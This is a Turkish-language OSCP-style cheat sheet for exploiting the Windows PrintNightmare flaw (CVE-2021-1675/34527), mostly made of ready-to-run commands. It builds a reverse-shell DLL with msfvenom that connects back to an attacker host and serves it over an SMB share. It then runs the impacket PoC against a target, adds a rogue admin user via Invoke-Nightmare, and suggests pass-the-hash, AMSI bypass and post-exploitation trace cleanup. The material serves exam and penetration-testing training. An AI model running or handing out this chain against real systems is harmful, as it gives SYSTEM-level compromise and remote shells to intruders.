PrintNightmare (CVE-2021-1675 / CVE-2021-34527) — Print Spooler LPE ve RCE
Windows Print Spooler servisindeki RpcAddPrinterDriverEx zafiyetiyle, kimliği doğrulanmış herhangi bir kullanicinin SYSTEM yetkisinde DLL yukleyip kod calistirmasi. Hem lokal (LPE) hem uzak (RCE) varyanti vardir; impacket ve PowerShell PoC'lariyla somurulur.
- Spooler servisi calisiyor (sc query spooler -> RUNNING)
- Lokal varyant icin dusuk yetkili bir kullanici oturumu
- Uzak varyant icin gecerli domain/lokal kimlik bilgisi (USER/PASS veya NTHASH) ve SMB erisimi
- Yamasiz sistem (Haziran/Temmuz 2021 oncesi) ve PointAndPrint zafiyet konfigurasyonu
Komutlar
sc query spooler reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Printers\PointAndPrint" netexec smb {{RHOST}} -u {{USER}} -p {{PASS}} -M printnightmare impacket-rpcdump @{{RHOST}} | egrep -i 'MS-RPRN|MS-PAR' msfvenom -p windows/x64/shell_reverse_tcp LHOST={{LHOST}} LPORT={{LPORT}} -f dll -o /tmp/nightmare.dll impacket-smbserver share /tmp -smb2support python3 CVE-2021-1675.py {{DOMAIN}}/{{USER}}:{{PASS}}@{{RHOST}} '\\{{LHOST}}\share\nightmare.dll' Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DriverName 'PrintMe' -NewUser 'pwn' -NewPassword 'Pwn123!' Import-Module .\CVE-2021-1675.ps1; Invoke-Nightmare -DLL 'C:\Temp\nightmare.dll' Stop-Service -Name Spooler -Force; Set-Service -Name Spooler -StartupType Disabled Genel Bakis
PrintNightmare, Windows Print Spooler servisindeki RpcAddPrinterDriverEx fonksiyonunun yetki dogrulamasini hatali yapmasindan kaynaklanir. Kimligi dogrulanmis herhangi bir kullanici, spooler’a kotu niyetli bir yazici suruculusu (DLL) yuklettirerek bu kodun NT AUTHORITY\SYSTEM baglaminda calismasini saglar. Iki ilgili CVE vardir: CVE-2021-1675 (baslangicta sadece LPE olarak yamalandi) ve CVE-2021-34527 (RCE varyanti; ilk yama yetersiz kaldigi icin ayri kayit acildi).
Iki kullanim sekli onemlidir:
- Lokal (LPE): Zaten dusuk yetkili bir shell’iniz var, SYSTEM’a yukseliyorsunuz.
- Uzak (RCE): Gecerli bir domain/lokal kullanici kimligiyle ag uzerinden SMB+RPC araciligiyla hedefte SYSTEM kod calistiriyorsunuz.
Tespit / Enumeration
Ilk olarak Spooler’in calistigini dogrulayin (sc query spooler). Ardindan PointAndPrint registry anahtarlarini inceleyin; ozellikle:
NoWarningNoElevationOnInstall = 1UpdatePromptSettings = 2bu degerler somuruyu kolaylastirir. Uzaktan zafiyet tespiti icinimpacket-rpcdumpile MS-RPRN ve MS-PAR arayuzlerinin acik olup olmadigini, ya da NetExec’inprintnightmaremodulunu kullanin. Yama durumu KB5005010/KB5004945 ve sonrasi ise sistem genelde korumalidir.
Somuru — Uzak (RCE)
Klasik akis: bir reverse shell DLL’i uretin, anonim SMB paylasiminda sunun, ardindan cube0x0 impacket PoC’una UNC yolunu verin. PoC, hedefin bu DLL’i yazici suruculu olarak yuklemesini saglar ve DLL SYSTEM olarak yuklenir. NTLM hash’iniz varsa parola yerine --hashes :{{NTHASH}} benzeri secenekle de calisir. Dinleyiciyi (nc -lvnp {{LPORT}} veya Metasploit multi/handler) onceden acmayi unutmayin.
Somuru — Lokal (LPE)
Kurbanda bir shell varsa calebstewart PowerShell PoC’u en pratigidir. Invoke-Nightmare varsayilan olarak yerel Administrators grubuna yeni bir kullanici ekler; istege bagli olarak -DLL parametresiyle kendi SYSTEM payload’inizi da yukleyebilirsiniz. AMSI engeli cikarsa scripti diskten calistirmak veya help-amsi sayfasindaki bypass yontemlerini degerlendirin.
OSCP Notlari ve Hafifletme
- Payload uretimi (
msfvenom) ve manuel PoC kullanimi sinav guvenlidir; otomatik Metasploit exploit modulleri sinirlamaya tabidir, bu yuzden manuel PoC’lari tercih edin. - Somuru sonrasi temizlik icin spooler servisini durdurup devre disi birakmak hem hafifletme hem de iz temizleme acisindan onemlidir.
- Birden fazla deneme spooler’i cokertebilir; gerekirse
Start-Service Spoolerile yeniden baslatin. - DLL adlandirmasi ve UNC yolundaki ters bolu (backslash) kacislarina dikkat edin; yanlis kacis somurunun sessizce basarisiz olmasina yol acar.